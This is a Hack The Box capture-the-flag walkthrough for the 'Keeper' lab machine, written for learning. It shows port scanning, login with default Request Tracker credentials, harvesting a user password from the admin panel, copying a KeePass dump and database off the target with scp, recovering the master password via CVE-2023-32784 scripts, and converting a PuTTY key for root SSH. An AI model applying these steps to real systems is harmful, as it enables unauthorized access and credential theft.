Keeper | HTB Writeup | Aayush Agrawal

Establishing the VPN Connection

Download the VPN connection file from HTB, after selecting the desired server (make sure no machines are active on your account at this point).

I use OpenVPN so in the terminal type the command, openvpn <address_for_the_.ovpn_file>

Note: Command to install OpenVPN in case you do not have it already: sudo apt-get install openvpn

It should set up a VPN connection between your host machine and the HTB server, and a small lock icon with the IP Address for the connection should pop up in the top-right notification section of your Kali system. Try running the command as the root user, in case the normal user account does not get a successful conn

Now proceed to search for the machine, using the search parameter machine: keeper in our case on the app.hackthebox.com site. Open the machine information page, and click on the Join Machine button.

Running a Threader3000 Scan

Threader3000 is a Python based multi-threaded port scanner integrated with Nmap. Setting up threader3000,

In a new Terminal tab, login as the root user and clone the git repository into /usr/share/ using the commands,

cd /usr/share
git clone https://github.com/dievus/threader3000.git
sudo ln -s $(pwd)/threader3000.py /usr/local/bin/threader3000

The last command sets a symbolic link to run the threader3000 command from any directory.

Either in the same terminal or in a new tab as a normal user, run the command, threader3000

Here we have to enter the IP Address for the machine, which appears after we click Join Machine in the htb webpage.

Immediately, we get an output saying 2 ports are open. Now, going by the default port number configuration norms, Port 22 must be ssh and Port 80 must be a website serving http service.

The program then proceeds to ask if we want to run an Nmap scan for the 2 discovered ports, run another threader3000 scan or exit to the terminal.

We will run the Nmap scan, by entering the option as 1 ,

The Nmap scan returns with the Service Names and Service Versions running on each of the ports, as OpenSSH 8.9p1 and nginx 1.18.0 respectively.

Website Lookup and Machine IP-Name Resolution

Now we will simply look up the IP address for the machine in our browser,

We are greeted with a message and a redirection link to a /rt/ endpoint, which upon direct access leads to an error page.

So now we will configure our /etc/hosts and setup the machine IP to be resolved to a URL, say tickets.keeper.htb ,

sudo nano /etc/hosts

We will login as root user to be able to edit the /etc/hosts file. Following the pre-existing IP-Name Resolution format, we enter the machine IP Address and the names, keeper.htb and tickets.keeper.htb and save the entry using shortcuts, Ctrl+S > Ctrl+X .

Once done we can access the website hosted on the machine, through our browser over the URL, http://tickets.keeper.htb and it leads us to a Login page,

Service Version Vulnerability Lookup & Default Passwords

We can see that the Website seems to be a Request Tracker Service of Version 4.4.4+dfsg-2ubuntu1. We can look it up in the Exploit DB database at https://www.exploit-db.com/ using the "request tracker" keywords,

The Second result seems to be a direct hit, but it discusses an older version with a 'Show Pending' Vulnerability SQL Injection for version number 4.0.10. This means that the vulnerability is most likely patched in the version we have to work with, i.e., 4.4.4.

As seen above, there is a login panel on the homepage, we can look for default credentials for the service,

The second link for Best Practical coincides with the banner on our login panel, so we will look into the forum,

We can gather from the first 2 discussions, that the Website contains,

A default password: password
A root user: root
A database table maintaining the user ids and passwords: Users

We can simply try the combination of root@password in the login panel,

We get a successful login,

Looking into the different navigation bar menus, the Tickets sub-menu grabs a=our attention,

It leads us to recently viewed tickets, so we follow the latest raised ticket link,

We can see the ticket was raised by a user, lnorgaard for the Windows Keepass Client,

The ticket description tells us that it contains a crashdump from the keepass client, and the Respondant seems to have then saved the file to their home directory.

Keepass Crashdump Vulnerability

SInce it has been mentioned clearly that the Crashdump was saved by the Service Associate for the Ticket Management System, it could be pointing towards a Keepass Crashdump Vulnerability.

Googling the exploit description tells us that there is actually an exploit from a couple months back that allows retrieval of cleartext master password, registered under the CVE-2023-32784.

lnorgaard Account

Coming back to the website, we see that there are other options in the navigation bas, one of them being Admin which allows us to look at the table for existing users,

Accessing the page shows us 2 existing users,

we've already accessed the root user, so exploring the lnorgaard account gives us,

The username has some special characters: Lise Nørgaard
The password seems to be set to Welcome2023!

When we look up the name Lise Nørgaard, we come to find out that this was a renowned Danish journalist.

We can try logging into the Request Tracking System using the credentials, but it would be better to try an ssh login instead.

We can try an ssh login for the user lnorgaard through our host machine in the terminal, using the password as Welcome2023!

We get a successful low privilege user shell login.

We will be running some basic commands to figure out the userid and hostname, the sudo executable commands for the user and the listing of directories in the user account respectively,

id && hostname
sudo -l
ls -la

We get the following information,

uid=1000(lnorgaard) hostname=keeper
The user lnorgaard cannot run sudo commands on the host
There is a user.txt file, which contains our user flag for the machine. :D

Crash Dump File

We see that there is a .zip file by the name of RT30000.zip.

Unzipping that file within the shell with the command, unzip RT30000.zip gives us a .dmp file which is likely the crash dump file mentioned earlier in the request ticket for lnorgaard .

It also holds a passcodes.kdbx file.

We can look into the 2 files better by transferring them onto our host machine. For this,

Check of ssh.service is active and running
We need to check for the port number on which the ssh service is listening, for this we can go to the /etc/ssh/ssd_config file on our machine and look up the Port Number mentioned in the first few lines of the file. To see if there is an active listener on the mentioned port number, we can run the command,
```
    netstat -ano | grep <port_number>
```
If there is an active listener, it should return something along the lines of,
We can use the scp command (Secure copy protocol) to transfer the files to the host machine, we will run the command in the low privilege shell,

    scp -P <ssh_listener_port_number> /home/lnorgaard/KeePassDumpFull.dmp <host_machine_username>@<vpn_tunnel_IP_Address>:<desired_directory_on_host_machine>
    scp -P <ssh_listener_port_number> /home/lnorgaard/passcodes.kdbx <host_machine_username>@<vpn_tunnel_IP_Address>:<desired_directory_on_host_machine>

We can see that we have successfully transfered the files to our host machine.

Accessing the Dump and Passcode files

We can use the kpcli command to access the passcodes.kdbx file,
```
  kpcli --kdb=passcodes.kdbx
```
It asks us for the password, here we can utilize the KeePass vulnerability that we saw earlier under the CVE-2023-32784.
We will be referencing the github repository: https://github.com/CMEPW/keepass-dump-masterkey
We can copy the poc.py file code into a poc.py file on our host machine at the desired location. Terminate the currently running kpcli command and run,

  python3 <address_for_poc.py_file> -d <address_for_KeePassDump.dmp_file>

The repository suggests that the first character cannot be found in the dump, while the second character has a few guessing possibilities. We'll use another script to verify our results. We'll use the github repo: https://github.com/z-jxy/keepass_dump.
We'll copy the code from keepass_dump.py and store it into another file say, poc1.py
From the above 2 scripts, we get the following decisive outputs,
●Mdgr●d med fl●de
dgr<{d, e}> med flde
In the second output, we seem to be getting 2 options between d & e. Filtering out the common characters between the 2, we get;
dgrd med flde
Given that the username was inspired from danish origins, it will be safe to say that this password has similar origins. Looking up this new string, online we find,
It is immediately obvious that the password is a small case interpretation of the danish dish mentioned above, following the first link, we will copy the complete name in small case,
rødgrød med fløde
rerunning the command with this as the password,
```
  kpcli --kdb=passcodes.kdbx
```
we successfully login to the db!

Getting the root access

We run the above commands and go into the keeper.htb entry.
We can see a root password, which if we copy and paste into a text editor, it gives us, F4><3K0nd!. We can try this for the root login. It also seems to have a Putty ssh key.
The login attempt results into a failure.
We can try to convert the statement, PuTTY-User-Key into ssh private key. Looking up stackoverflow, i found that we need to use puttygen tool.
For that we will first have to copy the entire key file contents
Copy the contents into a .ppk file on the host machine and save it.
We will use the following command,
```
  puttygen server.ppk -O private-openssh -o id_rsa
```
We generated the private key file under the name of id_rsa.
We will change privileges to chmod 400 id_rsa
Then we proceed to ssh login into the root account of the target machine,
Upon using the ls -la command, we can see that the root.txt file with the root flag is right infront of us. :D
Reference Video: https://www.youtube.com/watch?v=i_deLPpPVQE